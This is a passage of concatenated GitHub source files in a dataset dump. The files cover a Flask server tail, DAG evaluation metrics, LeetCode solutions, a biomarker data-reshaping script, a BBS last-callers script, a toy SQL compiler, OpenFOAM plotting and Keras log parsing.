json.loads(new_message.decode(encoding='UTF-8'))\n new_message_json['resend_old_message'] = resend_old_message\n return jsonify(new_message_json)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"aloverso/heartbot","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"42"} +{"seq_id":"43607004509","text":"import copy\nimport numpy as np\n\n\nclass MetricsDAG(object):\n def __init__(self, B_est, B_true):\n self.B_est = copy.deepcopy(B_est)\n self.B_true = copy.deepcopy(B_true)\n\n self.metrics = MetricsDAG._count_accuracy(self.B_est, self.B_true)\n\n @staticmethod\n def _count_accuracy(B_est, B_true, decimal_num=4):\n \"\"\"\n Compute various accuracy metrics for B_est.\n true positive = predicted association exists in condition in correct direction.\n reverse = predicted association exists in condition in opposite direction.\n false positive = predicted association does not exist in condition.\n\n Parameters\n ----------\n B_est: np.ndarray\n [d, d] estimate, {0, 1, -1}, -1 is undirected edge in CPDAG.\n B_true: np.ndarray\n [d, d] ground truth graph, {0, 1}.\n decimal_num: int\n Result decimal numbers.\n\n Return\n ------\n metrics: dict\n fdr: float\n (reverse + false positive) / prediction positive\n tpr: float\n (true positive) / condition positive\n fpr: float\n (reverse + false positive) / condition negative\n shd: float\n undirected extra + undirected missing + reverse\n nnz: float\n prediction positive\n \"\"\"\n # trans diagonal element into 0\n for i in range(len(B_est)):\n if B_est[i, i] == 1:\n B_est[i, i] = 0\n if B_true[i, i] == 1:\n B_true[i, i] = 0\n\n # trans cpdag [0, 1] to [-1, 0, 1], -1 is undirected edge in CPDAG\n for i in range(len(B_est)):\n for j in range(len(B_est[i])):\n if B_est[i, j] == B_est[j, i] == 1:\n B_est[i, j] = -1\n B_est[j, i] = 0\n \n if (B_est == -1).any(): # cpdag\n if not ((B_est == 0) | (B_est == 1) | (B_est == -1)).all():\n raise ValueError('B_est should take value in {0,1,-1}')\n if ((B_est == -1) & (B_est.T == -1)).any():\n raise ValueError('undirected edge should only appear once')\n else: # dag\n if not ((B_est == 0) | (B_est == 1)).all():\n raise ValueError('B_est should take value in {0,1}')\n # if not is_dag(B_est):\n # raise ValueError('B_est should be a DAG')\n d = B_true.shape[0]\n \n # linear index of nonzeros\n pred_und = np.flatnonzero(B_est == -1)\n pred = np.flatnonzero(B_est == 1)\n cond = np.flatnonzero(B_true)\n cond_reversed = np.flatnonzero(B_true.T)\n cond_skeleton = np.concatenate([cond, cond_reversed])\n # true pos\n true_pos = np.intersect1d(pred, cond, assume_unique=True)\n # treat undirected edge favorably\n true_pos_und = np.intersect1d(pred_und, cond_skeleton, assume_unique=True)\n true_pos = np.concatenate([true_pos, true_pos_und])\n # false pos\n false_pos = np.setdiff1d(pred, cond_skeleton, assume_unique=True)\n false_pos_und = np.setdiff1d(pred_und, cond_skeleton, assume_unique=True)\n false_pos = np.concatenate([false_pos, false_pos_und])\n # reverse\n extra = np.setdiff1d(pred, cond, assume_unique=True)\n reverse = np.intersect1d(extra, cond_reversed, assume_unique=True)\n # compute ratio\n pred_size = len(pred) + len(pred_und)\n cond_neg_size = 0.5 * d * (d - 1) - len(cond)\n fdr = float(len(reverse) + len(false_pos)) / max(pred_size, 1)\n tpr = float(len(true_pos)) / max(len(cond), 1)\n fpr = float(len(reverse) + len(false_pos)) / max(cond_neg_size, 1)\n # structural hamming distance\n pred_lower = np.flatnonzero(np.tril(B_est + B_est.T))\n cond_lower = np.flatnonzero(np.tril(B_true + B_true.T))\n extra_lower = np.setdiff1d(pred_lower, cond_lower, assume_unique=True)\n missing_lower = np.setdiff1d(cond_lower, pred_lower, assume_unique=True)\n shd = len(extra_lower) + len(missing_lower) + len(reverse)\n\n mt = {'fdr': fdr, 'tpr': tpr, 'fpr': fpr, 'shd': shd, 'nnz': pred_size}\n for i in mt:\n mt[i] = round(mt[i], decimal_num)\n \n return mt\n","repo_name":"Junjianye/trustworthyAI","sub_path":"gcastle/castle/metrics/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"42"} +{"seq_id":"43382577899","text":"from hashlib import sha512\nimport random\nimport string\nimport os\n\nSIMPLE_CHARS = string.ascii_letters + string.digits\n\ndef dround(number):\n return round(number, 2)\n\ndef get_files(path, filter_ext=None):\n '''Finds and returns list of all files in path and sub directories in it'''\n templist = []\n for dirname, dirnames, filenames in os.walk(path):\n for file_name in filenames:\n file_path = os.path.join(dirname, file_name)\n if filter_ext:\n can_add = False\n for ext in filter_ext:\n len_ext = len(ext)\n if file_path[-len_ext:] == ext:\n can_add = True\n if can_add:\n templist.append(file_path)\n break\n else:\n templist.append(file_path)\n return templist\n\ndef get_dirs(path):\n '''Finds and returns list of all files in path and sub directories in it'''\n templist = []\n for dirname, dirnames, filenames in os.walk(path):\n for dir_name in dirnames:\n templist.append((\n '%s/%s'% (path, dir_name),\n dir_name))\n return templist\n\ndef get_random_string(length):\n random_string = ''.join(random.choice(SIMPLE_CHARS) for i in range(length))\n hsh = sha512()\n hsh.update(random_string.encode('utf-8'))\n return hsh.hexdigest()[:length]\n","repo_name":"Bakterija/sshare","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"33624898709","text":"class Solution:\n def validWordSquare(self, words: list[str]) -> bool:\n m = len(words)\n n = max(len(word) for word in words)\n if m != n or n != len(words[0]):\n return False\n \n for j in range(n):\n w = []\n for i in range(m):\n if j < len(words[i]):\n w.append(words[i][j])\n if words[j] != ''.join(w):\n return False\n return True\n ","repo_name":"laurenchen0631/interview","sub_path":"leetcode/python/422_valid_word_square.py","file_name":"422_valid_word_square.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"13540842317","text":"'''\n@author: Zack Roy\n\n10/31/2019 SPOOKY\n\nUnfolding Baseline Dates for BiomarkerAssay\n'''\n\nimport pandas as pd\n\nbio_assay_path = \"\\\\\\\\EGR-1L11QD2\\\\CLS_lab\\\\TBI data\\\\CARE data\\\\CARE_blood_biomarkers\\\\CARE_original_biomarkerassay_file\\\\query_result_BiomarkerAssayDataForm_2019-08-22T11-35-543865203855005414924.csv\"\ndata_file = \"\\\\\\\\EGR-1L11QD2\\\\CLS_lab\\\\TBI data\\\\CARE data\\\\CARE_blood_biomarkers\\\\CARE_assessment_files_relevent_guids_only\\\\Dropped CaseControl Doubles\\\\\"\nresult_file = \"\\\\\\\\EGR-1L11QD2\\\\CLS_lab\\\\TBI data\\\\CARE data\\\\CARE_blood_biomarkers\\\\Biomarker Assay Processing\\\\\"\nBANNED_GUID = [\"TBICC177VED\", \"TBIDA795WGK\", \"TBIEB367ABR\", \"TBIGR129UEK\", \"TBIHK689VAG\", \"TBIJP385UKW\", \"TBIJY283VKB\",\n \"TBIKD367GBC\", \"TBIPD089DZ4\", \"TBIRH053MLX\", \"TBITC277FAU\", \"TBIUV221NTZ\", \"TBIYN163BNR\", \"TBIZK127XMX\"]\n\ndf = pd.read_csv(bio_assay_path)\ndf= df[[\"BiomarkerAssayDataForm.Main.GUID\", \"BiomarkerAssayDataForm.Main.VisitDate\", \n # \"BiomarkerAssayDataForm.Main.DaysSinceBaseline\", \"BiomarkerAssayDataForm.Main.CaseContrlInd\", \n # \"BiomarkerAssayDataForm.Form Administration.ContextType\", \n \"BiomarkerAssayDataForm.Form Administration.ContextTypeOTH\"]]\ndf = df.rename(columns={\"BiomarkerAssayDataForm.Main.GUID\": \"GUID\",\n \"BiomarkerAssayDataForm.Main.VisitDate\": \"VisitDate\",\n # \"BiomarkerAssayDataForm.Main.DaysSinceBaseline\": \"DaysSinceBaseline\",\n # \"BiomarkerAssayDataForm.Main.CaseContrlInd\": \"CCID\",\n # \"BiomarkerAssayDataForm.Form Administration.ContextType\": \"Context\",\n \"BiomarkerAssayDataForm.Form Administration.ContextTypeOTH\": \"ContextOTH\"})\n\n\ndf1 = pd.DataFrame()\nfor guid in df[\"GUID\"].unique():\n if guid not in BANNED_GUID:\n df1 = df1.append(df[df[\"GUID\"]==guid])\n\ndef cleanDate(date):\n return date.split(\"T\")[0]\n\ndef fixContext(context):\n context = context.strip()\n if context == \"6 m onths post-injury\":\n return \"6 months post-injury\"\n elif context.endswith(\"1\") or context.endswith(\"2\") or context.endswith(\"3\"):\n return context[:-2]\n else:\n return context\n\ndf1[\"VisitDate\"] = df1[\"VisitDate\"].apply(str)\ndf1[\"VisitDate\"] = df1[\"VisitDate\"].apply(cleanDate)\ndf1[\"ContextOTH\"] = df1[\"ContextOTH\"].apply(fixContext)\n\ncontext_list = ['Baseline','6 Hours Post Injury','24 Hours Post Injury','When Asymptomatic','7 Days Post Return to Play']\nguid_list = df1[\"GUID\"].unique()\n# ********************************************************************\n# Creating list of column names, which must be different for each run\n# ********************************************************************\ncols = [\"GUID\"]\nfor n in range(0, 5):\n for i in range(1, len(df1.columns)):\n cols.append(df1.columns[i]+'{}'.format(n+1))\n\nresult_df_list = []\nfor guid in guid_list:\n result_list = [guid]\n result_list_2 = [guid]\n result_list_3 = [guid]\n tdf = df1[df1[\"GUID\"] == guid]\n write_2=False\n write_3=False\n \n for context in context_list:\n tdf1 = tdf[tdf[\"ContextOTH\"]==context]\n\n if len(tdf1.index)==0:\n for i in range(1, 6):\n result_list.append(None)\n result_list_2.append(None)\n result_list_3.append(None)\n continue\n\n if len(tdf1[\"VisitDate\"].unique()) > 1:\n counter = 0\n print(\"********\" + guid + \"**************\")\n print(context)\n unique_dates = sorted(tdf1[\"VisitDate\"].unique())\n for date in unique_dates:\n print(date)\n tdf2 = tdf1[tdf1[\"VisitDate\"]==date]\n if counter == 1:\n write_2 = True\n for i in range(1, 6):\n result_list_2.append(tdf2.iloc[0,i])\n elif counter == 2:\n write_3 = True\n for i in range(1, 6):\n result_list_3.append(tdf2.iloc[0,i])\n else:\n for i in range(1, 6):\n result_list.append(tdf2.iloc[0,i])\n counter += 1\n max_len = max(len(result_list), len(result_list_2), len(result_list_3))\n while len(result_list) < max_len:\n result_list.append(None)\n while len(result_list_2) < max_len:\n result_list_2.append(None)\n while len(result_list_3) < max_len:\n result_list_3.append(None)\n continue\n\n for i in range(1, 6):\n result_list.append(tdf1.iloc[0,i])\n result_list_2.append(None)\n result_list_3.append(None)\n result_df_list.append(result_list)\n if write_2:\n result_df_list.append(result_list_2)\n if write_3:\n result_df_list.append(result_list_3)\n\nresult_df = pd.DataFrame(result_df_list,columns=cols)\nresult_df.to_csv(result_file + \"UnfoldedByContext.csv\", index=False)\n\n\n\n\n","repo_name":"clslabMSU/Zach-TBI-CARE-Project","sub_path":"CARE_biomarker/assay_unfold_context.py","file_name":"assay_unfold_context.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"42"} +{"seq_id":"26836194220","text":"\"\"\"\n合并必须从两个树的根节点开始\n\n同时传入两个树的节点，进行操作\n\"\"\"\n\n\nfrom typing import List\n\n\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n\n# 本题使用哪种遍历都是可以的！ ------我们前序遍历为例（前序遍历是最好理解的）。\nclass Solution:\n def mergeTrees(self, root1: TreeNode, root2: TreeNode) -> TreeNode:\n\n # 递归终止条件:\n # 但凡有一个节点为空, 就立刻返回另外一个. 如果另外一个也为None就直接返回None.\n if not root1:\n return root2\n if not root2:\n return root1\n # 上面的递归终止条件保证了代码执行到这里root1, root2都非空.\n root1.val += root2.val # 中\n root1.left = self.mergeTrees(root1.left, root2.left) # 左\n root1.right = self.mergeTrees(root1.right, root2.right) # 右\n\n return root1 # ⚠️ 注意: 本题我们重复使用了题目给出的节点而不是创建新节点. 节省时间, 空间.\n # 直接在root1上进行修改\n\n\n\n# 迭代法（前序遍历）\nclass Solution1:\n def mergeTrees(self, root1: TreeNode, root2: TreeNode) -> TreeNode:\n if not root1:\n return root2\n if not root2:\n return root1\n\n from collections import deque\n queue = deque()\n queue.append(root1)\n queue.append(root2)\n\n while queue:\n node1 = queue.popleft()\n node2 = queue.popleft()\n # 更新queue\n # 只有两个节点都有左节点时, 再往queue里面放.\n if node1.left and node2.left:\n queue.append(node1.left)\n queue.append(node2.left)\n # 只有两个节点都有右节点时, 再往queue里面放.\n if node1.right and node2.right:\n queue.append(node1.right)\n queue.append(node2.right)\n\n # 更新当前节点. 同时改变当前节点的左右孩子.\n node1.val += node2.val\n if not node1.left and node2.left:\n node1.left = node2.left\n if not node1.right and node2.right:\n node1.right = node2.right\n\n return root1\n\n\n\n\n","repo_name":"yuanshun-guo/LT_code","sub_path":"二叉树/二叉树的修改与构造/617.合并二叉树.py","file_name":"617.合并二叉树.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"18816446018","text":"\"\"\" Last Callers script for x/84. \"\"\"\n# std\nimport os\nimport time\nimport collections\n\n# local\nfrom x84.bbs import getsession, getterminal, get_ini, echo\nfrom x84.bbs import DBProxy, timeago, syncterm_setfont\nfrom common import prompt_pager, display_banner\n\n#: filepath to folder containing this script\nhere = os.path.dirname(__file__)\n\n#: filepath to artfile displayed for this script\nart_file = os.path.join(here, 'art', 'callers*.ans')\n\n#: encoding used to display artfile\nart_encoding = 'cp437'\n\n#: fontset for SyncTerm emulator\nsyncterm_font = 'topaz'\n\n#: maximum length of user handles\nusername_max_length = get_ini(section='nua',\n key='max_user',\n getter='getint'\n ) or 10\n\n#: maximum length of user handles\nlocation_max_length = get_ini(section='nua',\n key='max_location',\n getter='getint'\n ) or 15\n\nnumcalls_max_length = len('# calls')\n\ncall_record = collections.namedtuple(\n 'lc', ['timeago', 'num_calls', 'location', 'handle'])\n\n\ndef get_lastcallers(last):\n timenow = time.time()\n return sorted([call_record(timeago=timenow - time_called,\n num_calls=num_calls,\n location=location,\n handle=handle.decode('utf8'))\n for handle, (time_called, num_calls, location)\n in DBProxy('lastcalls').items()])[:last]\n\n\ndef main(last=9):\n \"\"\"\n Script entry point.\n\n :param int last: Number of last callers to display\n \"\"\"\n session, term = getsession(), getterminal()\n session.activity = u'Viewing last callers'\n\n colors = [term.green, term.bright_blue, term.bold,\n term.cyan, term.bold_black]\n\n # set syncterm font, if any\n if syncterm_font and term.kind.startswith('ansi'):\n echo(syncterm_setfont(syncterm_font))\n\n # display banner\n line_no = display_banner(filepattern=art_file, encoding=art_encoding)\n\n # get last callers\n last_callers = get_lastcallers(last=last)\n echo(u'\\r\\n\\r\\n')\n\n def make_header(fmt):\n return fmt.format(\n handle=term.bold_underline(\n term.ljust('handle', username_max_length + 1)),\n location=term.underline(\n term.ljust('location', location_max_length)),\n num_calls=term.bold_underline(\n term.ljust('# calls', numcalls_max_length)),\n timeago=term.underline('time ago'))\n\n call_fmt = '{handle} {location} {num_calls} {timeago}'\n header = make_header(call_fmt)\n header_length = term.length(header)\n if header_length > term.width:\n call_fmt = '{handle} {num_calls} {timeago}'\n header = make_header(call_fmt)\n header_length = term.length(header)\n\n # format callers, header:\n callers_txt = [header] + [' ' * header_length]\n\n # content:\n callers_txt.extend([\n call_fmt.format(\n handle=lc.handle.ljust(username_max_length + 1),\n location=term.ljust(colors[idx % len(colors)](\n lc.location or '-' * location_max_length),\n location_max_length),\n num_calls='{0}'.format(\n lc.num_calls).rjust(numcalls_max_length),\n timeago=colors[idx % len(colors)](\n timeago(lc.timeago))\n ) for idx, lc in enumerate(last_callers)\n ])\n\n # display file contents, decoded, using a command-prompt pager.\n prompt_pager(content=callers_txt,\n line_no=line_no + 2,\n colors={'highlight': term.bright_green,\n 'lowlight': term.cyan, },\n width=max(term.length(txt) for txt in callers_txt),\n breaker=None)\n","repo_name":"jquast/x84","sub_path":"x84/default/lc.py","file_name":"lc.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"42"} +{"seq_id":"32928438879","text":"# Итератор для удаления дубликатов\nclass Unique(object):\n def __init__(self, items, **kwargs):\n # Нужно реализовать конструктор\n # В качестве ключевого аргумента, конструктор должен принимать bool-параметр ignore_case,\n # в зависимости от значения которого будут считаться одинаковые строки в разном регистре\n # Например: ignore_case = True, Aбв и АБВ разные строки\n # ignore_case = False, Aбв и АБВ одинаковые строки, одна из них удалится\n # По-умолчанию ignore_case = False\n self.cur = -1\n if len(kwargs) < 1:\n self.ignore_case = False\n else:\n self.ignore_case = kwargs['ignore_case']\n\n if len(kwargs) < 1 or kwargs['ignore_case'] is False:\n self.list = list({x for x in items})\n else:\n tmp = {}\n for x in items:\n if tmp.get(str(x).lower()) is None:\n tmp[str(x).lower()] = str(x)\n self.list = list(tmp.values())\n\n def __next__(self):\n if self.cur + 1 < len(self.list):\n self.cur += 1\n return self.list[self.cur]\n else:\n raise StopIteration\n # Нужно реализовать __next__\n\n def __iter__(self):\n return self\n","repo_name":"drakon-n/RIP","sub_path":"Lab 2/librip/iterators.py","file_name":"iterators.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"3991366532","text":"from csvObj import csv as table\r\nimport sqlparser\r\n#s=\"import student.csv as st \\n\"\r\n#o=sqlparser.SqlParser(s)\r\n#print(o.parse ())\r\n#file=open(\"script1.txt\",'r')\r\n#ss=table(\"student.csv\")\r\nclass MainClaas:\r\n def __init__(self):\r\n self.tables=[]\r\n self.pycmd=''\r\n def compile(self,parsedcmd):\r\n pycmd = self.pycmd\r\n for cmd in parsedcmd:\r\n reserved=self.tables\r\n if (cmd[0] == 'import'):\r\n pycmd = pycmd + str(cmd[2]) + '= table(\"' + str(cmd[1])+'\")\\n'\r\n pycmd=pycmd+'reserved=reserved.append(\"'+str(cmd[2])+'\")\\n'\r\n self.data=reserved\r\n elif(cmd[0]==\"select\"):\r\n pycmd=pycmd+cmd[2]+'.select('+str(cmd)+')\\n'\r\n elif (cmd[0] == \"delete\"):\r\n pycmd = pycmd + cmd[1] + '.delete(' + str(cmd[2]) + ')\\n'\r\n elif (cmd[0] == \"insert\"):\r\n pycmd = pycmd + cmd[1] + '.insert(' + str(cmd) + ')\\n'\r\n objectCode = compile(pycmd, 'pyGenCode.py', 'exec')\r\n print(pycmd)\r\n exec(objectCode)\r\n # tables = tables.update({cmd[2]: table(cmd[1])})\r\n\r\n #print(reserved)\r\n\r\n\r\n\r\n\r\n #print(type(tables['s']))\r\n #break\r\n\r\n\r\nwhile(True):\r\n print(\"compile file_path\")\r\n print(\"run file_path\")\r\n command=input(\">>>\").strip()\r\n if(command[0]=='c'):\r\n path=command.split()[1]\r\n file=open(path, 'r')\r\n sql_cmd= file.read()\r\n #print(sql_cmd)\r\n parser=sqlparser.SqlParser(str(sql_cmd))\r\n m=MainClaas()\r\n m.compile(parser.parse())\r\n # print('error: invalid file')","repo_name":"dinaragab05/SQL-Compiler","sub_path":"mainClass.py","file_name":"mainClass.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"70306971008","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: Eugenio Pescimoro\n@email: eugenio.pescimoro@gmail.com\n@Description: Plot Macro-Dispersion vs Correlation Lengths from OpenFOAM log file\n\"\"\"\n\n# Import section ############################################################## \nimport numpy as np\nfrom numpy import diff\nimport os\nfrom operator import itemgetter\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nfrom Parse import parseLog, parseTransportProperties, parseSetFieldsDict\nfrom Process import processConc\n\n# Initialization ##############################################################\nLcorr = []\nMvel = []\nMechD = []\nsim = 1 # Number of simulations to analyse \ninterval = 1 # interval between simulations\n\n# Loop through simulation folders and parse files (setRandomFieldDict, log and corrLengths.mat)\nfor i in range(1, sim+1, interval): # Range of simulations which should be plotted\n# Paths \n luin67272TS = Path('/home/pmxep5/OpenFOAM/pmxep5-8/PGSFlowTransport/tutorials/RESULTS/stopConcAdapTmstp_2/TS%d' % i)\n #luin67272TS = Path('/home/pmxep5/OpenFOAM/others/GMRTFoam/tutorials/simpleDarcyFoam/RESULTS/Python/veLcorrTransport/TS%d' % i) \n gercphdTS = Path('/data/GMRTFoam/tutorials/simpleDarcyFoam/RESULTS/Python/veLcorrTransport/TS%d' % i)\n luin67272Py = Path('/home/pmxep5/OpenFOAM/pmxep5-8/PGSFlowTransport/etc/Python')\n gercphdPy = Path('/data/PGSFlowTransport/etc/Pytho')\n\n# Parse section ###############################################################\n# The parseLog function parses the log file from OpenFOAM and stores the relevant data in different lists\n cl, dd, mass, mvel, conc, time = parseLog(luin67272TS)\n Lcorr.append(cl[0])\n# parseTransportProperties function parses the transportProperties OpenFOAM input file and stores the hydraulic dispersion coefficient value\n D = parseTransportProperties(luin67272TS)\n# parseFieldsDict function parses the setFieldsDict dictionary and outputs the X distance at which the \n# center of the injection volume is placed (not needed if the injection is on the whole face) \n Xbox = parseSetFieldsDict(luin67272TS)\n\n# Processing section ##########################################################\n y, mu1, mu2, lam, c, t, dC = processConc(luin67272TS, luin67272Py, dd, mvel, conc, time, Xbox)\n # Mean advective velocity and Macro Dispersion estimation from statistical moments (Yu 1999)\n v = dd[0][0]/mu1\n MD = dd[0][0]**2/(2*lam)\n MechD.append(MD)\n\nx = list(map(itemgetter(0), Lcorr))\ny = list(map(itemgetter(1), Lcorr))\nz = list(map(itemgetter(2), Lcorr))\n\n# Plot average Vx, Vy and Vz against the simulation number ####################\nfont = {'size': 24}\nplt.rc('font', **font)\nfig1 = plt.figure(figsize=(14, 9))\nax = fig1.add_subplot(1, 1, 1)\nax.plot(list(map(itemgetter(0), Lcorr[:10])), MechD[:10], 'ro')\nax.set_xlabel('Correlation length X [m]')\nax.set_ylabel('Mechanical dispersion [m^2/s]')\nax.ticklabel_format(axis = 'y', style = 'sci', scilimits = (0,0))\nax.set_ylim([min(MechD[:10]), max(MechD[:10])])\nplt.tight_layout()\nfig1.savefig(\"/home/pmxep5/OneDrive/Nottingham/Results/Images/veLcorrTransport/MDvsCL_0-10.pdf\")\n#plt.show()\nfig2 = plt.figure(figsize=(14, 9))\nax = fig2.add_subplot(1, 1, 1)\nax.plot(list(map(itemgetter(1), Lcorr[10:20])), MechD[10:20], 'bo')\nax.set_xlabel('Correlation length Y [m]')\nax.set_ylabel('Mechanical dispersion [m^2/s]')\nax.set_ylim([min(MechD[10:20]), max(MechD[10:20])])\nplt.tight_layout()\nfig2.savefig(\"/home/pmxep5/OneDrive/Nottingham/Results/Images/veLcorrTransport/MDvsCL_10-20.pdf\")\n#plt.show()\nfig3 = plt.figure(figsize=(14, 9))\nax = fig3.add_subplot(1, 1, 1)\nax.plot(list(map(itemgetter(2), Lcorr[20:sim])), MechD[20:sim], 'go')\nax.set_xlabel('Correlation length Z [m]')\nax.set_ylabel('Mechanical dispersion [m^2/s]')\nax.set_ylim(min(MechD[20:sim]), max(MechD[20:sim]))\nplt.tight_layout()\nfig3.savefig(\"/home/pmxep5/OneDrive/Nottingham/Results/Images/veLcorrTransport/MDvsCL_20-30.pdf\")\n#plt.show()\n\n# fig4 = plt.figure(figsize=(14, 9))\n# ax2 = fig2.add_subplot(1, 1, 1)\n# ax2.plot(cl[0][0], MD, 'o')","repo_name":"eugeniopescimoro/PGSFlowTransport","sub_path":"etc/Python/Outdated/plotMDvsCL.py","file_name":"plotMDvsCL.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"31549192613","text":"# -*- coding: utf-8 -*-\n\nimport pytest\nimport os\n\npytestmark = pytest.mark.usefixtures(\"teardown_cauldron\")\n\n@pytest.fixture\ndef xmlpath(xmldir, servicename):\n \"\"\"XML Directory path\"\"\"\n return os.path.join(xmldir, 'data', servicename)\n\ndef test_xml_index(xmlpath, servicename):\n \"\"\"Test the XML index\"\"\"\n from ..extern import ktlxml\n index = ktlxml.index(servicename, directory=xmlpath)\n \ndef test_xml_Service(xmlpath, servicename, keyword_name_ENUMERATED):\n \"\"\"Test the XML service object.\"\"\"\n from ..extern import ktlxml\n xml = ktlxml.Service(servicename, directory=xmlpath)\n assert keyword_name_ENUMERATED in xml\n \ndef test_Service_with_xml(xmlvar, backend, servicename, config, missing_keyword_name, keyword_name_ENUMERATED):\n \"\"\"Test a service with XML.\"\"\"\n from Cauldron import DFW\n svc = DFW.Service(servicename, config, dispatcher='+service+_dispatch_1')\n assert svc.xml is not None\n assert keyword_name_ENUMERATED in svc\n assert missing_keyword_name not in svc\n kwd = svc[missing_keyword_name]\n assert missing_keyword_name in svc\n kwd = svc[keyword_name_ENUMERATED]\n assert kwd.KTL_TYPE == 'enumerated'\n \ndef test_Service_with_strict_xml(backend, servicename, config, dispatcher_name):\n \"\"\"Test the backend with strict xml enabled, so it should raise an exception.\"\"\"\n from Cauldron.api import use_strict_xml\n use_strict_xml()\n from Cauldron import DFW\n \n os.environ.pop('RELDIR', None)\n with pytest.raises(KeyError):\n svc = DFW.Service(servicename, config, dispatcher=dispatcher_name)\n os.environ['RELDIR'] = \"directory/does/not/exist\"\n with pytest.raises(IOError):\n svc = DFW.Service(servicename, config, dispatcher=dispatcher_name)\n \n\ndef test_Keyword_with_xml(xmlvar, dispatcher, keyword_name_ENUMERATED):\n \"\"\"Test the backend with XML enabled.\"\"\"\n keyword = dispatcher[keyword_name_ENUMERATED]\n \ndef test_Keyword_with_strict_xml(strictxml, dispatcher, keyword_name_ENUMERATED, missing_keyword_name):\n \"\"\"Test keyword with strict xml\"\"\"\n keyword = dispatcher[keyword_name_ENUMERATED]\n \n assert keyword.initial == \"Open\"\n \n with pytest.raises(KeyError):\n dispatcher[missing_keyword_name]\n \n\ndef test_Service_with_dispatcher(xmlvar, backend, servicename, config, keyword_name_ENUMERATED, dispatcher_name):\n \"\"\"XML service with dispatcher explicitly set.\"\"\"\n from Cauldron import DFW\n svc = DFW.Service(servicename, config, dispatcher=dispatcher_name)\n keyword = svc[keyword_name_ENUMERATED]\n svc.shutdown()\n \ndef test_keyword_units(strictxml, dispatcher, client, keyword_name_INTEGER):\n \"\"\"Test a keyword with units\"\"\"\n assert client[keyword_name_INTEGER]['units'] == 'warps'\n \ndef test_Service_with_wrong_dispatcher(strictxml, backend, servicename, config, keyword_name_ENUMERATED, dispatcher_name2):\n \"\"\"XML service with dispatcher explicitly set.\"\"\"\n from Cauldron import DFW\n from Cauldron.exc import WrongDispatcher\n svc = DFW.Service(servicename, config, dispatcher=dispatcher_name2)\n with pytest.raises(WrongDispatcher):\n keyword = svc[keyword_name_ENUMERATED]\n","repo_name":"alexrudy/Cauldron","sub_path":"Cauldron/tests/test_xml.py","file_name":"test_xml.py","file_ext":"py","file_size_in_byte":3179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"71969660287","text":"class Solution:\n # 这里要特别注意~找到任意重复的一个值并赋值到duplication[0]\n # 函数返回True/False\n def duplicate(self, numbers, duplication):\n # write code here\n dic = {}\n for num in numbers:\n if num not in dic.keys():\n dic[num] = 1\n else:\n dic[num] += 1\n #建立哈希表\n print('--hash--',dic)\n for num in numbers:\n if dic[num] != 1:\n duplication[0] = num\n return duplication[0]\n else:\n continue\ns = Solution()\nprint(s.duplicate([2,3,1,0,2,5,3],[1]))","repo_name":"dreamer121121/Learn","sub_path":"progamming/剑指offer/找出第一个重复的数字.py","file_name":"找出第一个重复的数字.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"42"} +{"seq_id":"28296775487","text":"from os import listdir\nfrom os.path import isfile, join\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras import Model\n\ndef parseLogFile(filepath):\n #filepath = 'Iliad.txt'\n with open(filepath) as fp:\n line = fp.readline()\n cnt = 1\n df = []\n while line:\n if \"s/step\" in str(line.strip()):\n l_txt = line.strip().split()\n df.append([float(l_txt[7]),\n float(l_txt[10]),\n float(l_txt[13]),\n float(l_txt[16])])\n line = fp.readline()\n cnt += 1\n \n return(np.array(df))\n\n\ndef exploreLogDir(dir_path = \"logs2compare/\"):\n\n onlyfilesRaw = [f for f in listdir(dir_path) if isfile(join(dir_path, f))]\n\n onlyfiles = []\n for i in onlyfilesRaw:\n if '.out' in i:\n onlyfiles.append(i)\n\n for f in onlyfiles:\n perf = parseLogFile(dir_path + f)\n plt.plot(perf[:,0])\n plt.legend(onlyfiles,loc='upper right')\n plt.show()\n\n for f in onlyfiles:\n perf = parseLogFile(dir_path + f)\n plt.plot(perf[:,2],)\n plt.legend(onlyfiles,loc='upper right')\n plt.show()\n\n for f in onlyfiles:\n perf = parseLogFile(dir_path + f)\n plt.plot(perf[:,1])\n plt.legend(onlyfiles,loc='lower right')\n plt.show()\n\n for f in onlyfiles:\n perf = parseLogFile(dir_path+ f)\n plt.plot(perf[:,3],)\n plt.legend(onlyfiles,loc='lower right')\n plt.show()\n\ndef analizeLayerWithOneDraw(X, model, layer_name, layer_node_id=0):\n inp = model.input \n \n mtemp = Model(inputs=inp,outputs=model.get_layer(layer_name).output)\n \n out = mtemp.predict([X])[0]\n \n return(out[:,layer_node_id])\n\ndef analizeLayerWithX(X, model, layer_name, layer_node_id=0):\n inp = model.input \n \n mtemp = Model(inputs=inp,outputs=model.get_layer(layer_name).output)\n \n out = mtemp.predict(X)[0]\n \n return(out)\n # input 